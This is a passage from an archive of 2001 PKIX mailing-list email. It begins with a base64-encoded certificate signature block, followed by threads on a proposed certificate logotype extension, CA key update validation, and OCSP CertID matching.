Mi5udGRldi5taWNyb3NvZnQuY29tL0NlcnRFbnJvbGwvTlRERVYlMjBJbnRlcm1lZGlhdGUlMjBT
dWJvcmRpbmF0ZSUyMFdoaWNhMi5jcmyGgdxsZGFwOi8vL0NOPU5UREVWJTIwSW50ZXJtZWRpYXRl
JTIwU3Vib3JkaW5hdGUlMjBXaGljYTIsQ049V0hJQ0EyLENOPUNEUCxDTj1QdWJsaWMlMjBLZXkl
MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW50ZGV2LERDPW1pY3Jv
c29mdCxEQz1jb20/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
TERpc3RyaWJ1dGlvblBvaW50MIIBcAYIKwYBBQUHAQEEggFiMIIBXjCBgwYIKwYBBQUHMAKGd2h0
dHA6Ly93aGljYTIubnRkZXYubWljcm9zb2Z0LmNvbS9DZXJ0RW5yb2xsL1dISUNBMi5udGRldi5t
aWNyb3NvZnQuY29tX05UREVWJTIwSW50ZXJtZWRpYXRlJTIwU3Vib3JkaW5hdGUlMjBXaGljYTIu
Y3J0MIHVBggrBgEFBQcwAoaByGxkYXA6Ly8vQ049TlRERVYlMjBJbnRlcm1lZGlhdGUlMjBTdWJv
cmRpbmF0ZSUyMFdoaWNhMixDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2Vy
dmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1udGRldixEQz1taWNyb3NvZnQsREM9Y29tP2NBQ2Vy
dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MAkGByqGSM44
BAMDMQAwLgIVAOvyxZEQyoulHy7vEZ/f5luEfntsAhUA3/tVo05MiHu07ozOrAajBZBd3GwwggWh
MIIFCqADAgECAgoaNrsSAAAAAAACMA0GCSqGSIb3DQEBBQUAMEwxCzAJBgNVBAYTAlVTMRIwEAYD
VQQKEwlNaWNyb3NvZnQxDjAMBgNVBAsTBU50ZGV2MRkwFwYDVQQDExBOVERFViBTQSBSb290IENB
MB4XDTAwMDkyNTIzMjQxNloXDTAxMDkyNTIzMzQxNlowYTELMAkGA1UEBhMCVVMxEjAQBgNVBAoT
CU1pY3Jvc29mdDEOMAwGA1UECxMFTnRkZXYxLjAsBgNVBAMTJU5UREVWIEludGVybWVkaWF0ZSBT
dWJvcmRpbmF0ZSBXaGljYTIwggG2MIIBKwYHKoZIzjgEATCCAR4CgYEAzfeTi16GZ3Gr9YAmOE+3
IDCl79ezYxfUmFzZKEyvCcbWGQ+QeJgcF8hHtAUq/4ne2VenV6P3eh/Bdb2APWNrLKu1+Nw2ocqy
QYitgmhUH1ZP0FMCWZcQ3eAEmAjVOSHcqxvOkw8OZpuFG1v4CGafR1R1rGa6RpsM4lbnf1g+P/0C
FQDvq3kg0ZCWVwNwYI+d4dZvYwQMdQKBgDj6uihDO4Pdd/3NGp4QQfQxdHmrVrH2cEGVoT1edUkS
qohRzuepJYuHzlKanjNQSpovechE/OA8AaXWDce4S0bcgpCVshuCD8CwtjqlB+7WiI/s2Ufg1YuQ
pEOtZtK54Uq8G7A2aKjQkbuvYwfk47dBJQq5rsTGCyDRFH6uSN+LA4GEAAKBgBwkCHyYLv4drZsa
zOfNaxCIGtwBOjBtkTbCg4Tm8s7MAgtdGcLafhD4LTMNenzQq899Q08AZ+CTvjUP/ZTSBkQvjzzc
BJ5Hgg3cRNZIkcFQZTqXYRehETLdZJw3CjaBlyE88mr25HsUssIz0AqmvP8Z3rKy0Be3CF1nCseZ
rCUlo4ICWzCCAlcwEAYJKwYBBAGCNxUBBAMCAQAwHQYDVR0OBBYEFHkgjt6k3yRXIoK+bc4LmPwU
zkFCMBkGCSsGAQQBgjcUAgQMHgoAUwB1AGIAQwBBMAsGA1UdDwQEAwIBxjAPBgNVHRMBAf8EBTAD
AQH/MB8GA1UdIwQYMBaAFHfJdGksOf44ZfSHBVgIzr26l9oQMIG2BgNVHR8Ega4wgaswgaiggaWg
gaKGTmh0dHA6Ly93aGljYXNhcm9vdGNhLm50ZGV2Lm1pY3Jvc29mdC5jb20vQ2VydEVucm9sbC9O
VERFViUyMFNBJTIwUm9vdCUyMENBLmNybIZQZmlsZTovL1xcd2hpY2FzYXJvb3RjYS5udGRldi5t
aWNyb3NvZnQuY29tXENlcnRFbnJvbGxcTlRERVYlMjBTQSUyMFJvb3QlMjBDQS5jcmwwggEPBggr
BgEFBQcBAQSCAQEwgf4wfAYIKwYBBQUHMAKGcGh0dHA6Ly93aGljYXNhcm9vdGNhLm50ZGV2Lm1p
Y3Jvc29mdC5jb20vQ2VydEVucm9sbC93aGljYXNhcm9vdGNhLm50ZGV2Lm1pY3Jvc29mdC5jb21f
TlRERVYlMjBTQSUyMFJvb3QlMjBDQS5jcnQwfgYIKwYBBQUHMAKGcmZpbGU6Ly9cXHdoaWNhc2Fy
b290Y2EubnRkZXYubWljcm9zb2Z0LmNvbVxDZXJ0RW5yb2xsXHdoaWNhc2Fyb290Y2EubnRkZXYu
bWljcm9zb2Z0LmNvbV9OVERFViUyMFNBJTIwUm9vdCUyMENBLmNydDANBgkqhkiG9w0BAQUFAAOB
gQAvgeXJ7GSBqBDHeyHrKPaR9/j34qmDZw1b4GYegASGOT/QD2SdKI6x0rGkgIWoB7rZgnm2e2Xg
u2dbwsycbC32mnWcMLrq2GmgBeX03DSI/2v7E21kZmi8pDpkGIzWmH2Quod8JVgaays5ggz1fmEy
pV2bk51bBOdmaHTxOKs9HDCCBnswggXkoAMCAQICCh3Nyu0AAAABS2wwDQYJKoZIhvcNAQEFBQAw
SzELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCU1pY3Jvc29mdDEOMAwGA1UECxMFTnRkZXYxGDAWBgNV
BAMTD05UREVWIElTU1VFMyBDQTAeFw0wMTAzMDcxODIyNTRaFw0wMTA5MjUyMzM0MTZaMIGtMRMw
EQYKCZImiZPyLGQBGRYDY29tMRkwFwYKCZImiZPyLGQBGRYJbWljcm9zb2Z0MRUwEwYKCZImiZPy
LGQBGRYFbnRkZXYxDDAKBgNVBAsTA0lURzEOMAwGA1UECxMFVXNlcnMxFzAVBgNVBAMTDlRyZXZv
ciBGcmVlbWFuMS0wKwYJKoZIhvcNAQkBFh5UUkVWT1JGQGV4Y2hhbmdlLm1pY3Jvc29mdC5jb20w
gZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOeh8h5dqHUg/4ELd6lorzKcxHRKpIZBntsIuYHl
ws23XjyL8rtuJdX+MgMV5ON+MNtl4XZSxKPr91ZgYqcpEnTNAThcr9Zz7sCrKQGbtpKr21XdbykX
I3LkV09TagTgQJ1pwtpeg18OTcNm6uDan0OxXknTWT6H9nyzP6brzMuvAgMBAAGjggQBMIID/TA2
BgkqhkiG9w0BCQ8EKTAnMA0GCCqGSIb3DQMCAgE4MA0GCCqGSIb3DQMEAgE4MAcGBSsOAwIHMBsG
CSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwQwCwYDVR0PBAQDAgQwMBMGA1UdJQQMMAoGCCsGAQUF
BwMEMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCI3g0YlOhNecwweGpob7HI/Tv6YViJD+rmaN
6eWvYgIBagIBADAdBgNVHQ4EFgQUaAezeOx3yI2i2PULVywtwpp4zlkwHwYDVR0jBBgwFoAUyURW
SpATfKnzMwZr3tCZu+fIzukwggEmBgNVHR8EggEdMIIBGTCCARWgggERoIIBDYZEaHR0cDovL3do
aWNhMy5udGRldi5taWNyb3NvZnQuY29tL0NlcnRFbnJvbGwvTlRERVYlMjBJU1NVRTMlMjBDQS5j
cmyGgcRsZGFwOi8vL0NOPU5UREVWJTIwSVNTVUUzJTIwQ0EsQ049d2hpY2EzLENOPUNEUCxDTj1Q
dWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW50
ZGV2LERDPW1pY3Jvc29mdCxEQz1jb20/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29i
amVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIIBPwYIKwYBBQUHAQEEggExMIIBLTBrBggr
BgEFBQcwAoZfaHR0cDovL3doaWNhMy5udGRldi5taWNyb3NvZnQuY29tL0NlcnRFbnJvbGwvd2hp
Y2EzLm50ZGV2Lm1pY3Jvc29mdC5jb21fTlRERVYlMjBJU1NVRTMlMjBDQS5jcnQwgb0GCCsGAQUF
BzAChoGwbGRhcDovLy9DTj1OVERFViUyMElTU1VFMyUyMENBLENOPUFJQSxDTj1QdWJsaWMlMjBL
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW50ZGV2LERDPW1p
Y3Jvc29mdCxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRp
b25BdXRob3JpdHkwVgYDVR0RBE8wTaArBgorBgEEAYI3FAIDoB0MG3RyZXZvcmZAbnRkZXYubWlj
cm9zb2Z0LmNvbYEeVFJFVk9SRkBleGNoYW5nZS5taWNyb3NvZnQuY29tMD8GCSsGAQQBgjcUAgQy
HjAAQQB1AHQAbwBFAG4AcgBvAGwAbABTAG0AYQByAHQAQwBhAHIAZABFAG0AYQBpAGwwDQYJKoZI
hvcNAQEFBQADgYEAp1+zM5XXuJGApM4eQWaXWidJyzt3miwpfh9ZiaOWdA9dj6OsSE2w4aC9E02P
KG0+qSWFESdD+BAv/ofFKgX8TdiLiJXUEhKNNyQMzL/ASgRWRIkweo3FgAw/n9VzNYaNGcVswsPk
P3u0C21ztt7SyQLeXXCdYcuo27qZBPbYcCUwggaSMIIF+6ADAgECAgoasuJ+AAEAAKhCMA0GCSqG
SIb3DQEBBQUAMGIxEzARBgoJkiaJk/IsZAEZFgNjb20xGTAXBgoJkiaJk/IsZAEZFgltaWNyb3Nv
ZnQxFTATBgoJkiaJk/IsZAEZFgVudGRldjEZMBcGA1UEAxMQTlRERVYgSXNzdWU2NCBDQTAeFw0w
MTAzMTcwMDIxMzdaFw0wMTAzMjcwMDIxMzdaMH4xEzARBgoJkiaJk/IsZAEZFgNjb20xGTAXBgoJ
kiaJk/IsZAEZFgltaWNyb3NvZnQxFTATBgoJkiaJk/IsZAEZFgVudGRldjEMMAoGA1UECxMDSVRH
MQ4wDAYDVQQLEwVVc2VyczEXMBUGA1UEAxMOVHJldm9yIEZyZWVtYW4wgZ8wDQYJKoZIhvcNAQEB
BQADgY0AMIGJAoGBAKit0ZGP0cVqIzhk7NAUTWN/85LrNkOqBIS0e6F+qCT2s2zJw/vzPkZhRxON
8zCstjfq0/XPg9/q0yM8PbwASeBbtYNtsXUAkh1EDLX5qROpwjacEFkBOwLT0D/1+URwdUtPTekj
efTw9lyceDWm2DU7aCPviUdZ4ZutCwSv31RhAgMBAAGjggQxMIIELTA1BgkrBgEEAYI3FQoEKDAm
MAwGCisGAQQBgjcUAgIwCgYIKwYBBQUHAwQwCgYIKwYBBQUHAwIwLQYDVR0gBCYwJDAiBiArBgEE
AYI3FQiN4NGJToTXnMMHhqaG+xyP07+mFQGDETALBgNVHQ8EBAMCB4AwKQYDVR0lBCIwIAYKKwYB
BAGCNxQCAgYIKwYBBQUHAwQGCCsGAQUFBwMCMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCI3g
0YlOhNecwweGpob7HI/Tv6YVifH96maEiLaqGgIBaAIBATAdBgNVHQ4EFgQUqCtYIiA0YtWl8sg6
PZHYRTsVg9MwHwYDVR0jBBgwFoAUto7lY8/2z1Wv6NUwA9kBr7ngV6AwggEqBgNVHR8EggEhMIIB
HTCCARmgggEVoIIBEYZGaHR0cDovL3doaWNhNjQubnRkZXYubWljcm9zb2Z0LmNvbS9DZXJ0RW5y
b2xsL05UREVWJTIwSXNzdWU2NCUyMENBLmNybIaBxmxkYXA6Ly8vQ049TlRERVYlMjBJc3N1ZTY0
JTIwQ0EsQ049d2hpY2E2NCxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2Vy
dmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1udGRldixEQz1taWNyb3NvZnQsREM9Y29tP2NlcnRp
ZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2lu
dDCCAUYGCCsGAQUFBwEBBIIBODCCATQwcQYIKwYBBQUHMAKGZWh0dHA6Ly93aGljYTY0Lm50ZGV2
Lm1pY3Jvc29mdC5jb20vQ2VydEVucm9sbC93aGljYTY0Lm50ZGV2Lm1pY3Jvc29mdC5jb21fTlRE
RVYlMjBJc3N1ZTY0JTIwQ0EoMSkuY3J0MIG+BggrBgEFBQcwAoaBsWxkYXA6Ly8vQ049TlRERVYl
MjBJc3N1ZTY0JTIwQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bnRkZXYsREM9bWljcm9zb2Z0LERDPWNvbT9jQUNlcnRp
ZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTBWBgNVHREETzBN
oCsGCisGAQQBgjcUAgOgHQwbdHJldm9yZkBudGRldi5taWNyb3NvZnQuY29tgR5UUkVWT1JGQGV4
Y2hhbmdlLm1pY3Jvc29mdC5jb20wPQYJKwYBBAGCNxQCBDAeLgBBAHUAdABvAEUAbgByAG8AbABs
AFMAbQBhAHIAdABjAGEAcgBkAFUAcwBlAHIwDQYJKoZIhvcNAQEFBQADgYEAvo/aXMY4hl56SU01
MFxvW6f2CZ6ObB16x6vm7jdybQ4qs0SFxGKSsJ41fulIagRYs9nQXyjUxH7UFkBSQG2r3tTtMkec
F4T+MXujBaa4PVc2fpjLAA8QYEtSYfyW8tKKw9aAXrOH5BbsGJrv8mSrPWAEATA91U2dHwwJUtcv
b0wxggKnMIICowIBATBwMGIxEzARBgoJkiaJk/IsZAEZFgNjb20xGTAXBgoJkiaJk/IsZAEZFglt
aWNyb3NvZnQxFTATBgoJkiaJk/IsZAEZFgVudGRldjEZMBcGA1UEAxMQTlRERVYgSXNzdWU2NCBD
QQIKGrLifgABAACoQjAJBgUrDgMCGgUAoIIBjTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwG
CSqGSIb3DQEJBTEPFw0wMTAzMTgxODM3MTJaMCMGCSqGSIb3DQEJBDEWBBT0FoHbmb8OyL3aqrDl
tkuGq+keoTBYBgkqhkiG9w0BCQ8xSzBJMAoGCCqGSIb3DQMHMAcGBSsOAwIaMA4GCCqGSIb3DQMC
AgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAKBggqhkiG9w0CBTBoBgkrBgEEAYI3EAQxWzBZ
MEsxCzAJBgNVBAYTAlVTMRIwEAYDVQQKEwlNaWNyb3NvZnQxDjAMBgNVBAsTBU50ZGV2MRgwFgYD
VQQDEw9OVERFViBJU1NVRTMgQ0ECCh3Nyu0AAAABS2wwagYLKoZIhvcNAQkQAgsxW6BZMEsxCzAJ
BgNVBAYTAlVTMRIwEAYDVQQKEwlNaWNyb3NvZnQxDjAMBgNVBAsTBU50ZGV2MRgwFgYDVQQDEw9O
VERFViBJU1NVRTMgQ0ECCh3Nyu0AAAABS2wwDQYJKoZIhvcNAQEBBQAEgYCoNCFVgU0RQoYoDcOr
EfmPvqVf4HtCAPRswiyimXBLl/s+KT17rAzqbR2w6pspnkE8RzUERsl8RwlQJ2u9W+jRNy15gtJW
j7Z5VZ43TgLN9ekNI7KqBf2ptEAFCbZsGk59WZElhdht0yH4EkvkmnmsDknOzHLiZdjnvC55Ys8Z
oQAAAAAAAA==


Received: from smtp6ve.mailsrvcs.net (smtp6vepub.gte.net [206.46.170.27]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA18256 for <[e-mail]>; Sun, 18 Mar 2001 08:13:55 -0800 (PST)
Received: from zolera.com (adsl-141-154-54-118.bostma.adsl.bellatlantic.net [141.154.54.118]) by smtp6ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id QAA2290854; Sun, 18 Mar 2001 16:16:25 GMT
Message-ID: <[e-mail]>
Date: Sun, 18 Mar 2001 11:16:23 -0500
From: Rich Salz <[e-mail]>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stefan Santesson <[e-mail]>
CC: [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I don't understand the need.  Why is it important to brand a data
structure that *nobody ever looks at without a computer controlling the
display*?

Whatever.  Define some extension write it up and submit your own RFc.
	/r$


Received: from web3205.mail.yahoo.com (web3205.mail.yahoo.com [204.71.202.202]) by above.proper.com (8.9.3/8.9.3) with SMTP id CAA22255 for <[e-mail]>; Sun, 18 Mar 2001 02:56:09 -0800 (PST)
Message-ID: <[e-mail]>
Received: from [202.144.45.2] by web3205.mail.yahoo.com; Sun, 18 Mar 2001 02:56:10 PST
Date: Sun, 18 Mar 2001 02:56:10 -0800 (PST)
From: vivek saraf <[e-mail]>
Subject: CA key update
To: [e-mail]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hello All,

Consider the following 


Old CA : Validity T1 - T5

Old user : Validity T2 - T4

New CA : Validity T3 - T7 ( After the key update )

New User : Validity T3 - T6

So during the period T3-t4 the old user and the new
user wants to comunicate. How the validation of the CA
certificates will be done.

The old user dosn't have the new CA certificate

Regards,
Vivek

__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/


Received: from popmail2.inbox.se ([e-mail] [212.28.208.210]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA03373 for <[e-mail]>; Sat, 17 Mar 2001 16:13:20 -0800 (PST)
Received: from santesson.accurata.se (lon-qbu-gyu-vty12.as.wcom.net [195.232.107.12]) by popmail2.inbox.se (8.10.1/8.10.1) with ESMTP id f2I0BAA03017; Sun, 18 Mar 2001 01:11:10 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Sun, 18 Mar 2001 01:13:43 +0100
To: "David Cross" <[e-mail]>, <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: RE: Logotypes in certificates
In-Reply-To: <[e-mail] d.corp.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

David,

Comment in line;

At 18:46 2001-03-16 -0800, David Cross wrote:
>Stefan:
>
>Some comments -
>
>First:  I do not think that this should be considered for son of RFC2459
>- we do not want to hold this up to consider this proposal.

That's OK with me.

>
>Second:  I do not see how applications will make use of this
>information.  How do you see it being used?

Well first I would like to state that I now of several applications that 
would use this information if it was available. This is typically any 
application which includes a function to display a certificates to a human 
user. These applications will seek to have a display format which makes 
sense to the user. These applications can, if logotype data is present, 
choose to download these logotypes and display them to the user when a 
certificate is displayed.

Applications don't caring about logos won't be effected since they just 
ignore this information without problem. The logo is only a display 
function and has no part in any DN or alternative name.

We will surely implement this in certificates if this gets to be supported 
by any standard.

/Stefan

>
>Third:  People are complaining about size of certs now, this will expand
>that issue

Everything is a tradeoff. In this case we can meet an important business 
need with just a few bytes. I think this is one of those cases that 
definitely is worth it.

/Stefan

>
>
>David B. Cross
>
>
>         -----Original Message-----
>         From: Stefan Santesson [mailto:[e-mail]]
>         Sent: Thursday, March 15, 2001 3:22 PM
>         To: [e-mail]
>         Subject: Logotypes in certificates
>
>
>         In last PKIX meeting in San Diego I presented some thoughts on
>creating a new extension for inclusion of logotype information in
>certificates.
>
>         Last in this mail I include a primary suggested outline for such
>extension.
>
>         But first a short summary of the rationale:
>
>         At a first glance it may seem irrelevant to include logotype
>information in certificates and a natural first reaction is "OH NO...
>NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
>
>         The fact is though that at the ETSI meeting this week (In the
>group that handles European standards related to electronic signatures).
>IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE DATA WOULD BE
>VERY USEFUL.
>
>         Why is that so?
>
>         The answer is that logotypes are carriers of trust and are
>widely recognized tools for trust recognition. Have you ever thought why
>EVERY physical instrument of trust, from loyalty cards, credit cards to
>Passports, contain trust symbols in the form of logotypes.
>
>         Are certificates different? ABSOLUTELY NOT!!
>
>         If PKI is to take off in the private market, the certificates
>must be user friendly and carry the same functionality (in electronic
>form) as ID-cards, passports and other physical ID:s do in physical
>form. And logotypes are a FUNDAMENTAL part of that.
>
>         Without logotypes, certificates can only be handled and
>presented as textual information for technically oriented users. This is
>the reality I see.
>
>         What is your observation?
>
>         How can we then do this?
>
>         Technically speaking, we don't have to include the actual
>logotype image and we don't have to destroy legacy applications.
>         I would suggest that we use the same mechanism that we specified
>for biometric data in RFC 3039 where a non-critical extension can
>include for each logotype:
>
>         -  type of logo
>         -  type of hash algorithm
>         -  hash of logotype data
>         -  URI to location of data
>
>         This will only take a few bytes but will allow new applications
>to import relevant logotypes, signed by the issuer of the certificate,
>to be displayed to the user.
>
>         So... What to do with this?
>
>         If this is to be proceeded at all, It could be part of son of
>RFC 2459, it could be part of a new RFC 3039 and it could be a new draft
>or merged with some other work. I'm open for suggestions.
>
>         I hope to be able to meet with many of you and discuss this in
>Minneapolis next week.
>
>         /Stefan Santesson
>
>
>         logotypeInfo  EXTENSION ::= {
>                   SYNTAX             LogotypeSyntax
>                   IDENTIFIED BY      id-pe-logotypeInfo }
>
>               id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
>
>               LogotypeSyntax ::= SEQUENCE OF LogotypeData
>
>               LogotypeData ::= SEQUENCE {
>                   typeOfLogotype       TypeOflogotype,
>                   hashAlgorithm        AlgorithmIdentifier,
>                   logotypeDataHash     OCTET STRING,
>                   sourceDataUri        IA5String OPTIONAL }
>
>               TypeOflogotype ::= CHOICE {
>                   predefinedLogotypeType    PredefinedLogotypeType,
>                   LogotypeTypeID            OBJECT IDENTIFIER }
>
>               PredefinedLogotypeType ::= INTEGER {
>                   subject-organization-logotype(0),
>                   issuer-organization-logotype(1)
>                   CA-network-logotype(2)}
>                   (subject-organization-logotype|
>                    issuer-organization-logotype|
>                     CA-network-logotype,...)
>
>
>         The predefined logotype types are
>
>         subject-organization-logotype, if used, SHALL be used to include
>a logotype of the subject organization. The logotype SHALL be consistent
>with, and require the presence of, an organization name stored in the
>organization attribute in the subject field.
>
>         issuer-organization-logotype, if used, SHALL be used to include
>a logotype of the issuer organization. The logotype SHALL be consistent
>with, and require the presence of, an organization name stored in the
>organization attribute in the issuer field.
>
>         CA-network-logotype, if used, SHALL be used to include a
>logotype used by a network of CA services, provided by one or several
>independent CA's, within which the issuer claims to issue this
>certificate.
>
>



Received: from popmail2.inbox.se ([e-mail] [212.28.208.210]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA02051 for <[e-mail]>; Sat, 17 Mar 2001 16:01:08 -0800 (PST)
Received: from santesson.accurata.se (lon-qbu-gyu-vty12.as.wcom.net [195.232.107.12]) by popmail2.inbox.se (8.10.1/8.10.1) with ESMTP id f2HNx0A02987; Sun, 18 Mar 2001 00:59:02 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Sun, 18 Mar 2001 01:01:09 +0100
To: "David Cross" <[e-mail]>, "Michael Zolotarev" <[e-mail]>, <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: RE: Logotypes in certificates
In-Reply-To: <[e-mail] d.corp.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Well,

I didn't really suggest inclusion in son of rfc 2459. It was mora like a 
question.

Personally I think it could be done in it's own document and maybe merged 
later into others.

I have negative feelings about the approach to just point to a signed logo, 
but lets discuss it openly.

I think I would like to have the logotype signed by the certificate and I 
suggest that you should not be allowed to update or change any information 
signed and identified by a certificate. If you have an physical ID-card, 
any logotypes are fixed. The present logotypes reflects the logotypes valid 
at the time of issuance.

/Stefan


At 13:11 2001-03-17 -0800, David Cross wrote:
>Sounds like a reasonable suggestion.  Still, I would not want this in
>son-of-RFC2459.
>
>David B. Cross
>
>
>
>
>
>-----Original Message-----
>From: Michael Zolotarev [mailto:[e-mail]]
>Sent: Friday, March 16, 2001 7:09 PM
>To: David Cross; Stefan Santesson; [e-mail]
>Subject: RE: Logotypes in certificates
>
>
>Probably a better alternative to including a logotype into a certificate
>would be to include a reference to a [signed] logotype. As an extension,
>containing a uri of a logotype which is stored somewhere. The drawback
>is that it requires the verifier to be connected, obviously. But
>certificate verification normally assumes that you are connected. The
>size of a logotype won't matter much.
>
>Naturally, a logotype should be signed by the same entity which issued
>the certificate which contains the reference to the logotype. it also
>allows flexible update of logotype if necessary, should a change be made
>within validity period of the certificate (i.e. a new photo required
>because I've grown a bead).
>
>Michael



Received: from aspams52.ca.com (aspams52.cai.com [155.35.248.76]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA00269 for <[e-mail]>; Sat, 17 Mar 2001 15:39:48 -0800 (PST)
Received: by aspams52.ca.com with Internet Mail Service (5.5.2650.21) id <HAQQPFRB>; Sun, 18 Mar 2001 10:39:29 +1100
Message-ID: <[e-mail]>
From: "Grant, Alistair" <[e-mail]>
To: [e-mail]
Cc: [e-mail]
Subject: RE: Matching CertIDs between OCSP requests and responses
Date: Sun, 18 Mar 2001 10:39:11 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Hi Jonathan,

Do you happen to know when the signing model with multiple CertIDs was
discussed?

I am thinking about this at the moment, but don't remember any discussion on
the PKIX list.

Thanks very much.


Cheers,

Alistair Grant
Computer Associates
Development Manager, eTrust R&D
Phone:		[phone]
Mobile:		[phone]
E-Mail:		[e-mail]



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Friday, March 16, 2001 3:56 AM
To: [e-mail]
Cc: [e-mail]; [e-mail]
Subject: RE: Matching CertIDs between OCSP requests and responses



I think that the ability to specify multiple certificates is useful, in
particular for validating a non-trivial certificate chain.  In this case,
it makes sense to trust the chain only as much as the least trusted
certificate in the chain.

However, the delegated OCSP signing model isn't ideally suited to
certificate chains - you have to use the trusted authority OCSP signing
model instead.  This subject has been discussed on this list previously.

Jonathan
----------------
Dr Jonathan Tuliani
www.symbian.com


Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by above.proper.com (8.9.3/8.9.3) with SMTP id NAA20306 for <[e-mail]>; Sat, 17 Mar 2001 13:34:02 -0800 (PST)
Received: from 157.54.9.101 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Sat, 17 Mar 2001 13:11:42 -0800 (Pacific Standard Time)
Received: from red-msg-02.redmond.corp.microsoft.com ([157.54.12.70]) by inet-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Sat, 17 Mar 2001 13:11:42 -0800
x-mimeole: Produced By Microsoft Exchange V6.0.4418.65
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Logotypes in certificates
Date: Sat, 17 Mar 2001 13:11:42 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logotypes in certificates
Thread-Index: AcCuj/fuECSLKsJcRF6ps/9vKlsONgAlt4Xg
From: "David Cross" <[e-mail]>
To: "Michael Zolotarev" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 17 Mar 2001 21:11:42.0803 (UTC) FILETIME=[DD9CC230:01C0AF26]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id NAA20307

Sounds like a reasonable suggestion.  Still, I would not want this in
son-of-RFC2459.

David B. Cross

 



-----Original Message-----
From: Michael Zolotarev [mailto:[e-mail]] 
Sent: Friday, March 16, 2001 7:09 PM
To: David Cross; Stefan Santesson; [e-mail]
Subject: RE: Logotypes in certificates


Probably a better alternative to including a logotype into a certificate
would be to include a reference to a [signed] logotype. As an extension,
containing a uri of a logotype which is stored somewhere. The drawback
is that it requires the verifier to be connected, obviously. But
certificate verification normally assumes that you are connected. The
size of a logotype won't matter much.

Naturally, a logotype should be signed by the same entity which issued
the certificate which contains the reference to the logotype. it also
allows flexible update of logotype if necessary, should a change be made
within validity period of the certificate (i.e. a new photo required
because I've grown a bead).

Michael


Received: from mailb.telia.com ([e-mail] [194.22.194.6]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA15702 for <[e-mail]>; Sat, 17 Mar 2001 12:04:12 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id VAA28413; Sat, 17 Mar 2001 21:04:12 +0100 (CET)
Received: from mega (t2o69p106.telia.com [62.20.144.226]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id f2HK4Ba09094; Sat, 17 Mar 2001 21:04:11 +0100 (CET)
Message-ID: <000a01c0af1d$2f759000$[e-mail]>
From: "Anders Rundgren" <[e-mail]>
To: "David Cross" <[e-mail]>, "Stefan Santesson" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: Logotypes in certificates
Date: Sat, 17 Mar 2001 21:02:23 +0100
